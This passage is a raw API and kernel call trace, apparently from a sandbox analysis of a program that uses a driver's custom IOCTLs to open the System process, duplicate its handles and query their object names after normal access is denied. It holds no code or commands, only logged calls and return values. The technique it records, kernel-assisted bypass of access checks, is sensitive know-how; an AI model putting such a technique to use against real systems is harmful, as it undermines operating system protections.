HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a004ab7080, HandleInformation=0x0) returned 0x0 [0110.459] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.459] PsReleaseProcessExitSynchronization () returned 0x2 [0110.459] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0110.459] ObQueryNameString (in: Object=0xfffff8a004ab7080, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.459] ObfDereferenceObject (Object=0xfffff8a004ab7080) returned 0x3 [0110.459] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.459] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.459] CloseHandle (hObject=0xc0) returned 1 [0110.459] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0110.459] GetLastError () returned 0x5 [0110.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0110.459] ZwOpenProcess (in: ProcessHandle=0xfffffa8003078600, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88005590688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88005590678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa8003078600*=0xc0) returned 0x0 [0110.459] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0110.459] ZwOpenProcess (in: ProcessHandle=0xfffff880055905f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88005590608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880055905f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880055905f0*=0xffffffff80000b34) returned 0x0 [0110.459] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000b34, SourceHandle=0x424, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa8003078600, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa8003078600*=0xc8) returned 0x0 [0110.459] ZwClose (Handle=0xffffffff80000b34) returned 0x0 [0110.459] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.459] CloseHandle (hObject=0xc0) returned 1 [0110.459] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.459] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x294d20 [0110.459] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.459] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.460] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.460] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.460] PsAcquireProcessExitSynchronization () returned 0x0 [0110.460] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.460] ObReferenceObjectByHandle (in: Handle=0xffffffff80000424, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031f4990, HandleInformation=0x0) returned 0x0 [0110.460] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.460] PsReleaseProcessExitSynchronization () returned 0x2 [0110.460] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x153 [0110.460] ObQueryNameString (in: Object=0xfffffa80031f4990, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.460] ObfDereferenceObject (Object=0xfffffa80031f4990) returned 0x5 [0110.460] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.460] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.460] CloseHandle (hObject=0xc8) returned 1 [0110.460] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0110.460] GetLastError () returned 0x5 [0110.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0110.460] ZwOpenProcess (in: ProcessHandle=0xfffffa8003078600, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88005590688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88005590678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa8003078600*=0xc8) returned 0x0 [0110.460] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0110.460] ZwOpenProcess (in: ProcessHandle=0xfffff880055905f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88005590608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880055905f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880055905f0*=0xffffffff80000b34) returned 0x0 [0110.460] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000b34, SourceHandle=0x420, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa8003078600, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa8003078600*=0xc0) returned 0x0 [0110.460] ZwClose (Handle=0xffffffff80000b34) returned 0x0 [0110.460] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.460] CloseHandle (hObject=0xc8) returned 1 [0110.460] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.460] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x2aec20 [0110.460] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x2aec20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x2aec20, ReturnLength=0x0) returned 0x0 [0110.461] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2aec20 | out: hHeap=0x270000) returned 1 [0110.461] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.461] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.461] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.461] PsAcquireProcessExitSynchronization () returned 0x0 [0110.461] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.461] ObReferenceObjectByHandle (in: Handle=0xffffffff80000420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800dbffad0, HandleInformation=0x0) returned 0x0 [0110.461] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.461] PsReleaseProcessExitSynchronization () returned 0x2 [0110.461] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x153 [0110.461] ObQueryNameString (in: Object=0xfffffa800dbffad0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.461] ObfDereferenceObject (Object=0xfffffa800dbffad0) returned 0x3 [0110.461] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.461] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.461] CloseHandle (hObject=0xc0) returned 1 [0110.461] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0110.461] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.461] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.461] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.461] PsAcquireProcessExitSynchronization () returned 0x0 [0110.461] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.461] ObReferenceObjectByHandle (in: Handle=0xffffffff8000004c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002af2460, HandleInformation=0x0) returned 0x0 [0110.461] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.461] PsReleaseProcessExitSynchronization () returned 0x2 [0110.461] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x153 [0110.461] ObQueryNameString (in: Object=0xfffffa8002af2460, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.461] ObfDereferenceObject (Object=0xfffffa8002af2460) returned 0x1 [0110.461] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.461] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.461] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.461] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.462] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.462] PsAcquireProcessExitSynchronization () returned 0x0 [0110.462] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.462] ObReferenceObjectByHandle (in: Handle=0xffffffff80000054, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002a567a0, HandleInformation=0x0) returned 0x0 [0110.462] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.462] PsReleaseProcessExitSynchronization () returned 0x2 [0110.462] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x153 [0110.462] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.462] ObfDereferenceObject (Object=0xfffffa8002a567a0) returned 0x1 [0110.462] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.462] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.462] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.462] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.462] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.462] PsAcquireProcessExitSynchronization () returned 0x0 [0110.462] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.462] ObReferenceObjectByHandle (in: Handle=0xffffffff80000060, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002c52f20, HandleInformation=0x0) returned 0x0 [0110.462] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.462] PsReleaseProcessExitSynchronization () returned 0x2 [0110.462] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x153 [0110.462] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.462] ObfDereferenceObject (Object=0xfffffa8002c52f20) returned 0x1 [0110.462] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.462] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.462] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.462] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.462] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.462] PsAcquireProcessExitSynchronization () returned 0x0 [0110.462] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.462] ObReferenceObjectByHandle (in: Handle=0xffffffff80000064, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002fc0050, HandleInformation=0x0) returned 0x0 [0110.462] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.462] PsReleaseProcessExitSynchronization () returned 0x2 [0110.463] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x153 [0110.463] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590508) returned 0x0 [0110.463] ObfDereferenceObject (Object=0xfffffa8002fc0050) returned 0x1 [0110.463] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.463] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.463] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.463] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.463] PsAcquireProcessExitSynchronization () returned 0x0 [0110.463] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.463] ObReferenceObjectByHandle (in: Handle=0xffffffff80000068, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8004599f20, HandleInformation=0x0) returned 0x0 [0110.463] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.463] PsReleaseProcessExitSynchronization () returned 0x2 [0110.463] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x153 [0110.463] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0110.463] ObfDereferenceObject (Object=0xfffffa8004599f20) returned 0x1 [0110.463] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.463] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.463] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.463] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.463] PsAcquireProcessExitSynchronization () returned 0x0 [0110.463] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.463] ObReferenceObjectByHandle (in: Handle=0xffffffff8000006c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8005049050, HandleInformation=0x0) returned 0x0 [0110.463] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.463] PsReleaseProcessExitSynchronization () returned 0x2 [0110.463] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x153 [0110.463] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0110.463] ObfDereferenceObject (Object=0xfffffa8005049050) returned 0x1 [0110.463] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.463] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.463] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.463] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.464] PsAcquireProcessExitSynchronization () returned 0x0 [0110.464] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.464] ObReferenceObjectByHandle (in: Handle=0xffffffff80000070, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8005bfa050, HandleInformation=0x0) returned 0x0 [0110.464] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.464] PsReleaseProcessExitSynchronization () returned 0x2 [0110.464] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x153 [0110.464] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.464] ObfDereferenceObject (Object=0xfffffa8005bfa050) returned 0x1 [0110.464] IofCompleteRequest (Irp=0xfffffa8002114a40, PriorityBoost=0) [0110.610] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.610] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.610] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.610] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.610] PsAcquireProcessExitSynchronization () returned 0x0 [0110.610] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.610] ObReferenceObjectByHandle (in: Handle=0xffffffff80000074, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80053d87a0, HandleInformation=0x0) returned 0x0 [0110.610] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.610] PsReleaseProcessExitSynchronization () returned 0x2 [0110.610] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.610] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.611] ObfDereferenceObject (Object=0xfffffa80053d87a0) returned 0x1 [0110.611] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.611] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.611] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.611] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.611] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.611] PsAcquireProcessExitSynchronization () returned 0x0 [0110.611] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.611] ObReferenceObjectByHandle (in: Handle=0xffffffff80000078, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8005ffb1f0, HandleInformation=0x0) returned 0x0 [0110.611] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.611] PsReleaseProcessExitSynchronization () returned 0x2 [0110.611] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.611] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.611] ObfDereferenceObject (Object=0xfffffa8005ffb1f0) returned 0x1 [0110.611] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.611] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.611] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.611] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0110.611] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.611] PsAcquireProcessExitSynchronization () returned 0x0 [0110.611] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.611] ObReferenceObjectByHandle (in: Handle=0xffffffff8000007c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80067fbf20, HandleInformation=0x0) returned 0x0 [0110.611] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.611] PsReleaseProcessExitSynchronization () returned 0x2 